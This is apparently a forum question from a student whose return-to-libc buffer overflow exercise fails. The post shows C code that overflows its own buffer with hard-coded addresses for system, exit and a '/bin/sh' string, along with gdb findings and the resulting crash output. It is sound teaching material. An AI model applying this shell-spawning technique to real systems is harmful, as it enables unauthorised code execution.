title: return to lib_c buffer overflow exercise issue
body: <p>I'm supposed to come up with a program that exploits the "return to libc buffer overflow".  This is, when executed, it cleanly exits and brings up a SHELL prompt.  The program is executed in a bash terminal.  Below is my C code:</p>
  
  <pre><code>#include &lt;stdio.h&gt;
  int main(int argc, char*argv[]){
      char buffer[7];
  
      char buf[42];
      int i = 0;
      while(i &lt; 28)
      {
              buf[i] = 'a';
              i = i + 1;
      }
  
      *(int *)&amp;buf[28] = 0x4c4ab0;
      *(int *)&amp;buf[32] = 0x4ba520;
      *(int *)&amp;buf[36] = 0xbfffff13;
  
      strcpy(buffer, buf);
  
      return 0;
  }
  </code></pre>
  
  <p>Using <a href="http://www.sourceware.org/gdb/">gdb</a>, I've been able to determine the following:</p>
  
  <ul>
  <li>Address for "system": 0x4c4ab0</li>
  <li>Address for "exit": 0x4ba520</li>
  <li>The string "/bin/sh" resides in memory at: 0xbfffff13</li>
  </ul>
  
  <p>I also know, using <a href="http://www.sourceware.org/gdb/">gdb</a>, that inserting 32 "A"'s into my buffer variable will overwrite the return address.  So given that the system call is 4 bytes, I start by filling in my memory "leak" at 28 bytes.  At the 28th byte, I begin my system call, then exit call, and finally add my "/bin/sh" memory location.</p>
  
  <p>When I run the program, however, I get the following:</p>
  
  <pre><code>sh: B���: command not found
  Segmentation fault (core dumped)
  </code></pre>
  
  <p>I'm really not sure what I'm doing wrong...</p>
  
  <p>[EDIT]: I was able to get the string "/bin/sh" by exporting a environmental variable:</p>
  
  <pre><code>export MYSHELL="/bin/sh"
  </code></pre>